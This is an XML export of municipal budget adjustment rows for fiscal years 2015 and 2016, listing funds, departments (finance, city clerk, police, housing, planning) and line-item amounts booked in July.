<row _id="18163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4163</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4163</total></row>
<row _id="18164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5328</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5328</total></row>
<row _id="18165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="18166"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544513.0</object><object_description>SM/MAL-MEALS ON WHEELS-DA</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1910</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1910</total></row>
<row _id="18167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544514.0</object><object_description>WCIL-INDEPENDENT LIVING SVS-DA</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8088</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8088</total></row>
<row _id="18168"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6808</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6808</total></row>
<row _id="18169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7786</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7786</total></row>
<row _id="18170"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3927</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3927</total></row>
<row _id="18171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="18172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3000</total></row>
<row _id="18173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="18174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>69000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>69000</total></row>
<row _id="18175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>31000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31000</total></row>
<row _id="18176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>450723</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>450723</total></row>
<row _id="18177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="18178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404950.0</object><object_description>HOME INVESTMENT PARTNERSHIPS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-381792</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-381792</total></row>
<row _id="18179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>925000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>925000</total></row>
<row _id="18180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>800148</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>800148</total></row>
<row _id="18181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="18182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12500</total></row>
<row _id="18183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="18184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="18186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="18189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400870.0</object><object_description>LEASE RENTAL REVENUE-DOWNTOWN</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-383742</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-383742</total></row>
<row _id="18190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401550.0</object><object_description>MAP/CODE/SPECIFICATIONS SALES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1500</total></row>
<row _id="18191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522100.0</object><object_description>EXPERT WITNESS COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>125000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>125000</total></row>
<row _id="18192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>215000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>215000</total></row>
<row _id="18193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2004</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2004</total></row>
<row _id="18194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>166500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>166500</total></row>
<row _id="18195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="18196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>401920.0</object><object_description>FARMERS' MARKET</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-850000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-850000</total></row>
<row _id="18197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400260.0</object><object_description>PROP K TORCA CONVERSION TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-40000</total></row>
<row _id="18198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400470.0</object><object_description>POLICE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-24710</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24710</total></row>
<row _id="18199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401440.0</object><object_description>POLICE BILLABLE SERVICES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-497239</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-497239</total></row>
<row _id="18200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400230.0</object><object_description>CONDOMINIUM TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20000</total></row>
<row _id="18201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522050.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="18202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20150</total></row>
<row _id="18203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19000</total></row>
<row _id="18204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>566090.0</object><object_description>ENTERTAIN - PUBLIC GS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="18205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6460</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6460</total></row>
<row _id="18206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>307352</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>307352</total></row>
<row _id="18207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>715</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>715</total></row>
<row _id="18208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>56000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56000</total></row>
<row _id="18209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400510.0</object><object_description>PLAN CHECK FEES-BLDG &amp; SAFETY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-2864430</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2864430</total></row>
<row _id="18210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7636</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7636</total></row>
